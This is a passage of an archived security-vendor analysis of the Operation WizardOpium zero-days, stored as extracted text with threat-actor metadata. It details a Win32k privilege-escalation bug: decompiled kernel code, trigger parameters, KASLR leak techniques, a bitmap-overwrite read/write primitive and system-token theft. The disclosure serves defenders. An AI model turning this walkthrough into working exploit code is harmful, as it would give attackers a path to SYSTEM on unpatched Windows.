25\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nxxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)\r\n...\r\nif ( (int)index \u003e= gpsi-\u003empFnid_serverCBWndProc[(pwnd-\u003efnid \u0026 0x3FFF) - 0x29A] - sizeof(tagWND)\r\n)\r\n...\r\nextraData = (BYTE*)tagWND + sizeof(tagWND) + index\r\nold = *(QWORD*)extraData;\r\n*(QWORD*)extraData = data;\r\nreturn old;\r\nA check for the index parameter would have prevented this bug, but prior to the patch the values for\r\nFNID_DESKTOP, FNID_SWITCH, FNID_TOOLTIPS inside the mpFnid_serverCBWndProc table were not\r\ninitialized, rendering this check useless and allowing the kernel pointers inside the extra data to be overwritten.\r\nTriggering the bug is quite simple: at first, you create a Window, then NtUserMessageCall can be used to call any\r\nsystem class window procedure.\r\n1 gpsi-\u003empFnidPfn[(dwType + 6) \u0026 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);\r\nIt’s important to provide the right message and dwType parameters. The message needs to be equal to\r\nWM_CREATE. dwType is converted to fnIndex internally with the following calculation: (dwType + 6) \u0026 0x1F.\r\nThe exploit uses a dwType equal to 0xE0. It results in an fnIndex equal to 6 which is the function index of\r\nxxxSwitchWndProc and the WM_CREATE message sets the FNID field to be equal to FNID_SWITCH.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nLRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam)\r\n{\r\n...\r\n  pti = *(tagTHREADINFO **)\u0026gptiCurrent;\r\n  if ( wnd-\u003efnid != FNID_SWITCH )\r\n  {\r\n    if ( wnd-\u003efnid || wnd-\u003ecbwndExtra + 296 \u003c (unsigned int)gpsi-\u003empFnid_serverCBWndProc[6] )\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 22 of 25\n\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n      return 0i64;\r\n    if ( msg != 1 )\r\n      return xxxDefWindowProc(wnd, msg, wParam, lParam);\r\n    if ( wnd[1].head.h )\r\n      return 0i64;\r\n    wnd-\u003efnid = FNID_SWITCH;\r\n  }\r\n  switch ( msg )\r\n  {\r\n    case WM_CREATE:\r\n      zzzSetCursor(wnd-\u003epcls-\u003espcur, pti, 0i64);\r\n      break;\r\n    case WM_CLOSE:\r\n      xxxSetWindowPos(wnd, 0, 0);\r\n      xxxCancelCoolSwitch();\r\n      break;\r\n    case WM_ERASEBKGND:\r\n    case WM_FULLSCREEN:\r\n      pti-\u003eptl = (_TL *)\u0026pti-\u003eptl;\r\n      ++wnd-\u003ehead.cLockObj;\r\n      xxxPaintSwitchWindow(wnd, pti, 0i64);\r\n      ThreadUnlock1();\r\n      return 0i64;\r\n  }\r\n  return xxxDefWindowProc(wnd, msg, wParam, lParam);\r\n}\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 23 of 25\n\nThe vulnerability in NtUserSetWindowLongPtr can then be used to overwrite the extra data at index zero, which\r\nhappens to be a pointer to a structure containing information about the Switch Window. In other words, the\r\nvulnerability makes it possible to set some arbitrary kernel pointer that will be treated as this structure.\r\nAt this stage it’s enough to call NtUserMessageCall again, but this time with a message equal to\r\nWM_ERASEBKGND. This results in the execution of the function xxxPaintSwitchWindow that increments and\r\ndecrements a couple of integers located by the pointer that we previously set.\r\n1\r\n2\r\n3\r\n4\r\n5\r\nsub     [rdi+60h], ebx\r\nadd     [rdi+68h], ebx\r\n...\r\nsub     [rdi+5Ch], ecx\r\nadd     [rdi+64h], ecx\r\nAn important condition for triggering the exploitable code path is that the ALT key needs to be pressed.\r\nExploitation is performed by abusing Bitmaps. For successful exploitation a few Bitmaps need to be allocated\r\nnext to each other, and their kernel addresses need to be known. To achieve this, the exploit uses two common\r\nkernel ASLR bypass techniques. For Windows 7 and Windows 10 build 10240 (Threshold 1) the Bitmap kernel\r\naddresses are leaked via the GdiSharedHandleTable technique: in older versions of the OS there is a special table\r\navailable in the user level that holds the kernel addresses of all GDI objects present in the process. This particular\r\ntechnique was patched in Windows 10 build 14393 (Redstone 1), so for this version the exploit uses another\r\ncommon technique that abuses Accelerator Tables (patched in Redstone 2). It involves creating a Create\r\nAccelerator Table object, leaking its kernel address from the gSharedInfo HandleTable available in the user level,\r\nand then freeing the Accelerator Table object and allocating a Bitmap reusing the same memory address.\r\nThe whole exploitation process works as follows: the exploit creates three bitmaps located next to each other and\r\ntheir addresses are leaked. The exploit prepares Switch Window and uses a vulnerability in\r\nNtUserSetWindowLongPtr to set an address pointing near the end of the first Bitmap as Switch Window extra\r\ndata. Bitmaps are represented by a SURFOBJ structure and the previously set address needs to be calculated in a\r\nway that will make the xxxPaintSwitchWindow function increment the sizlBitmap field of the SURFOBJ structure\r\nfor the Bitmap allocated next to the first one. The sizlBitmap field indicates the bounds of the pixel data buffer and\r\nthe incremented value will allow the use of the function SetBitmapBits() to perform an out-of-bounds write and\r\noverwrite the SURFOBJ of the third Bitmap object.\r\nThe pvScan0 field of the SURFOBJ structure is an address of the pixel data buffer, so the ability to overwrite it\r\nwith an arbitrary pointer results in arbitrary read/write primitives via the functions\r\nGetBitmapBits()/SetBitmapBits(). The exploit uses these primitives to parse the EPROCESS structure and steal\r\nthe system token. To get the kernel address of the EPROCESS structure, the exploit uses the function\r\nEnumDeviceDrivers. This function works according to its MSDN description and it provides a list of kernel\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 24 of 25\n\naddresses for currently loaded drivers. The first address in the list is the address of ntkrnl and to get the offset to\r\nthe EPROCESS structure the exploit parses an executable in search for the exported PsInitialSystemProcess\r\nvariable.\r\nIt’s worth noting that this technique still works in the latest versions of Windows (tested with Windows 10 19H1\r\nbuild 18362). Stealing the system token is the most common post exploitation technique that we see in the\r\nmajority of elevation of privilege exploits. After acquiring system privileges the exploit downloads and executes\r\nthe actual malware.\r\nConclusions\r\nIt was particularly interesting for us to examine the Chrome exploit because it was the first Google Chrome in-the-wild zero-day encountered for a while. It was also interesting that it was used in combination with an elevation of\r\nprivilege exploit that didn’t allow exploitation on the latest versions of Windows mostly due to the Win32k\r\nlockdown security feature of Google Chrome. With regards to privilege elevation, it was also interesting that we\r\nfound another 1-day exploit for this vulnerability just one week after the patch, indicating how simple it is to\r\nexploit this vulnerability.\r\nWe would like to thank the Google Chrome and Microsoft security teams for fixing these vulnerabilities so quickly.\r\nGoogle was generous enough to offer a bounty for CVE-2019-13720. The reward was donated to charity and\r\nGoogle matched the donation.\r\nSource: https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 25 of 25\n\n5 if ( wnd-\u003efnid 6 { != FNID_SWITCH )  \n7 if ( wnd-\u003efnid || wnd-\u003ecbwndExtra + 296 \u003c (unsigned int)gpsi-\u003empFnid_serverCBWndProc[6] )\n   Page 22 of 25",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"references": [
		"https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/"
	],
	"report_names": [
		"97086"
	],
	"threat_actors": [
		{
			"id": "2008a79d-2f3a-475f-abef-3bc119a1bf38",
			"created_at": "2022-10-25T16:07:24.028651Z",
			"updated_at": "2026-04-10T02:00:04.845194Z",
			"deleted_at": null,
			"main_name": "Operation WizardOpium",
			"aliases": [],
			"source_name": "ETDA:Operation WizardOpium",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "5cd3fcb0-eb56-49ac-8125-47ebee93311d",
			"created_at": "2023-01-06T13:46:39.065814Z",
			"updated_at": "2026-04-10T02:00:03.201808Z",
			"deleted_at": null,
			"main_name": "Operation WizardOpium",
			"aliases": [],
			"source_name": "MISPGALAXY:Operation WizardOpium",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775439124,
	"ts_updated_at": 1775791496,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/79143ed48cfdbc033814f76a95ef258b7b27411e.pdf",
		"text": "https://archive.orkl.eu/79143ed48cfdbc033814f76a95ef258b7b27411e.txt",
		"img": "https://archive.orkl.eu/79143ed48cfdbc033814f76a95ef258b7b27411e.jpg"
	}
}